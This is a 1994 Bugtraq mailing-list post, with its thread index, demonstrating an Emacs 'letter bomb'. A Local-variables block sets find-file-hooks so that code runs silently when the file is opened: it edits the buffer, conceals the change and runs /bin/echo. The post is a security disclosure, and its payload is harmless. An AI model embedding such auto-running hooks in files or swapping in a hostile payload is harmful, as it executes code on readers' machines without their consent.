Bugtraq mailing list archives
Re: Virus's -- This is an Emacs bomb
From: chowes () helix net (Charles Howes)
Date: Tue, 6 Dec 1994 03:50:58 -0800 (PST)
On Mon, 5 Dec 1994, Bill Broadley wrote:
I've heard there are text files that are emailable then if run on a pc actually do things. I.e. a Ascii only file thats legally executable, this is probably a distortion of a similiar story. I have studied the x86 op codes to see if you can actually get much done with an Ascii file. But of course no email programs I know of have a method to autoexecute a received email.
Here, have some autoexecuting emacs code: ---------------------------------------------------------------------------\ So there you are, reading along in some file that you found. Just browsing away, when what happens, but some magic bit of Local variables: find-file-hooks: ((lambda () (unwind-protect (save-excursion (goto-char 0) (re-search-forward "^Local variables:$") (beginning-of-line) (let ((p (point))) (re-search-forward "^End:$") (let ((m (buffer-modified-p))) (delete-region p (1+ (point))) (setq p (point)) (insert "-- hi there, I'm toast. -- ") (insert (or (buffer-file-name) "nil")) (call-process-region p (point) "/bin/echo" t 0 nil "you" "are" "toast") (set-buffer-modified-p m) ))) (kill-local-variable 'find-file-hooks)))) End: text buried in that buffer comes to life and runs an arbitrary piece of code at you. Have a nice day! ---------------------------------------------------------------------------/ Does anyone have autoexecuting vi code? I'd like to see it. -- Charles Howes -- chowes () helix net Always tell the truth, then you make it the other bloke's problem! - Sean Connery, 1971
Current thread:
- Got this - not sure of authenticity. Better safe etc... Doug Hughes (Dec 05)
- Re: Got this - not sure of authenticity. Better safe etc... Perry E. Metzger (Dec 05)
- Re: Got this - not sure of authenticity. Better safe etc... Bennett Todd (Dec 06)
- Re: Got this - not sure of authenticity. Better safe etc... Sean Allen (Dec 06)
- Virus's peter theobald (Dec 06)
- Re: Virus's Zygo Blaxell (Dec 07)
- Re: Got this - not sure of authenticity. Better safe etc... Bennett Todd (Dec 06)
- Re: Got this - not sure of authenticity. Better safe etc... Perry E. Metzger (Dec 05)
- Virus's Bill Broadley (Dec 05)
- virii? Richard Forno (Dec 05)
- Re: virii? Dave Williss (Dec 07)
- Re: Virus's Rafi Sadowsky (Dec 06)
- Re: Virus's -- This is an Emacs bomb Charles Howes (Dec 06)
- Re: Virus's -- This is an Emacs bomb Dave Goldberg (Dec 06)
- Re: Virus's -- This is an Emacs bomb Rens Troost (Dec 06)
- letter bombs: enable-local-eval saves Emacs 19 Stephen Gildea (Dec 06)
- Re: Virus's -- This is an Emacs bomb Robert Lau (Dec 06)
- Re: Virus's -- This is an Emacs bomb Charles Howes (Dec 07)
- virii? Richard Forno (Dec 05)
- Re: Got this - not sure of authenticity. Better safe etc... Geir Inge Jensen (Dec 06)
- Re: Got this - not sure of authenticity. Better safe etc... Jim Littlefield (Dec 06)
- Re: Got this - not sure of authenticity. Better safe etc... Pat Myrto (Dec 06)